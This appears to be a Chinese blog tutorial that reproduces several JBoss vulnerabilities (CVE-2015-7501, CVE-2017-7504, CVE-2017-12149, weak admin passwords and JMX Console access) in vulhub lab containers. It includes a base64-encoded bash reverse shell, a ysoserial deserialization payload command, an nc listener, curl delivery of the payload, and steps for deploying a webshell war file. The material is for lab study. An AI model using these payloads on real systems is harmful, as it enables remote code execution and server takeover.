Jboss中间件漏洞

CVE-2015-7501

Jboss JMXInvokerServlet 反序列化漏洞

漏洞介绍

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

POC,访问地址

http://ip:8080/invoker/JMXInvokerServlet

 

下载 ysoserial 工具进行漏洞利用

https://github.com/frohoff/ysoserial

将反弹shell进行base64编码

bash -i >& /dev/tcp/ip/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMyLzk5OTkgMD4mMQ==

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" > exp.ser

服务器设置监听得端口

nc -lvnp 9999

执行命令

curl http://ip:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

 

漏洞修复

升级版本

CVE-2017-7504

JBossMQ JMS 反序列化漏洞

漏洞介绍

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行

影响范围

JBoss 4.x 以及之前的所有版本

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

访问漏洞地址

http://ip:8080/jbossmq-httpil/HTTPServerILServlet

 python3 jexboss.py -u http://ip:8080/

CVE-2017-12149

JBoss 5.x/6.x反序列化漏洞

漏洞简述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

漏洞范围

JBoss 5.x/6.x

环境搭建

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

漏洞复现

访问漏洞页面,看jboss版本

验证是否存在漏洞 , 访问

http://ip:8080/invoker/readonly

返回500,说明页面存在,此页面存在反序列化漏洞

使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:

工具:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

漏洞修复

不需要 http-invoker.sar 组件的用户可直接删除此组件。
添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
升级新版本。
删除 http-invoker.sar 组件。
添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:用于对 http invoker 组件进行访问控制。

Administration Console弱口令

漏洞描述

Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包 , getshell

影响版本

全版本

环境搭建

因为这里用的环境是CVE-2017-12149的靶机

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

密码文件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub

漏洞复现

点击web应用

上传后门 shell.war

http://ip:8080/peak/peak.jsp

低版本JMX Console未授权

低版本JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执行任何功能。

影响范围

Jboss4.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

漏洞复现

然后找到jboss.deployment (jboss 自带得部署功能) 中的 flavor=URL,type=DeploymentScanner 点进去(通过URL的方式远程部署)

找到页面中的void addURL() 选项远程加载war包来部署

webshell连接

高版本JMX Console未授权

漏洞描述

JMX Console默认存在未授权访问,直接点击JBoss主页中的 JMX Console 链接进入JMX Console页面 , 通过部署war包 , getshell

影响版本

Jboss6.x以下

环境搭建

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

漏洞复现

因为使用环境不存在该漏洞所以需要输入账户密码:admin vulhub

本地搭建部署点在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下

进入service=MainDeployer页面之后,找到methodIndex为17或19的deploy 填写远程war包地址进行远程部署

搭建远程部署 , 部署远程war包地址

然后输入Invoke

连接Webshell

http://ip:8080/peak/peak.jsp
peak

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值